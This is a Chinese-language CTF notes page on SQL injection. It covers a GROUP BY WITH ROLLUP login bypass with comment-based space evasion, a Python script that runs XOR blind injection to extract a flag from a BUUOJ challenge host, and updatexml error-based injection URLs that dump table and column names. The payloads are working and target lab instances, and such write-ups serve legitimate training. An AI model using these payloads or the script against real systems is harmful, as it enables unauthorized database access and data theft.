文章目录
SQL注入文件读取通过from for分页读取
过滤单引号的时候可用。
rollwith up注入
这个是只过滤密码,不过滤用户输入的情况下。
过滤密码而且过滤用户名
这里介绍两个mysql语句
group by
一、group by(将结果集中的数据行根据选择列的值进行逻辑分组)
不加group by时的输出如下:
加group by的时候
with rollup
(group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计)
来看实例:
其中password列为null,count(*)为统计和。
这里我们就可以通过骚姿势绕过了。
limit 1 offset 2 是需要不断测试,猜测出表中一共有几条数据,最后一条 pwd 的值为 null;
其中/**/是为了绕过空格过滤
payload:admin’/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/limit/**/1/**/offset/**/1#
因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足 p a s s w o r d = = password== password==row[‘password’]的限制成功登陆。
登录成功即可显示flag。
异或盲注脚本
这东西和那个堆叠注入一样,就见过一次,从此再也没用过,但这次就用到了。用它可以起到代替or的作用。
0^(ascii(substr((select(flag)from(flag)),1,1))>1)
但还有一些是没有用异或,用的是if,可if有局限性,在id为数字型时,可以直接 select * from users where id=if(1=1,1,0),但如果id单引号字符型或双引号字符型,那就必须在if前加or或and。
import requests
from lxml import etree
def b():
flag = ''
url = 'http://8f33a0b7-0012-40cb-9aa9-2f462bdaad87.node3.buuoj.cn/index.php'
text1 = 'Hello, glzjin wants a girlfriend.'
for i in range(1,1290):
print('*'*50,i,'*'*50)
stop = 0
for j in range(32,128):
stop = j
data = {"id":"1^(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1))" % (i, j)}
#data = {"id":"1^(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1))" % (i, j)}
# 如果第相等返回1,不等返回0
re = requests.post(url=url,data=data).text.replace('\n','')
# 返回文本
html = etree.HTML(re).xpath("//text()")
# 查找任意节点的文本
if text1 in html:
flag += chr(j)
print("\n\t\t\t\t", flag)
break
if stop >= 128 :
print('*'*50+i+'*'*50)
print('flag',flag)
break
if __name__=="__name__":
b()
异或报错注入
过滤等号和空格
过滤了空格可以用括号绕过
过滤了等号可以用like绕过
http://b4dd23d6-1c5c-4653-a31d-e5fdc9f24cde.node3.buuoj.cn/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database()))
),0x7e),1))%23&password=123
爆字段
http://b4dd23d6-1c5c-4653-a31d-e5fdc9f24cde.node3.buuoj.cn/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_schema)like(database()))
),0x7e),1))%23&password=123
限制长度
left和right进行拼接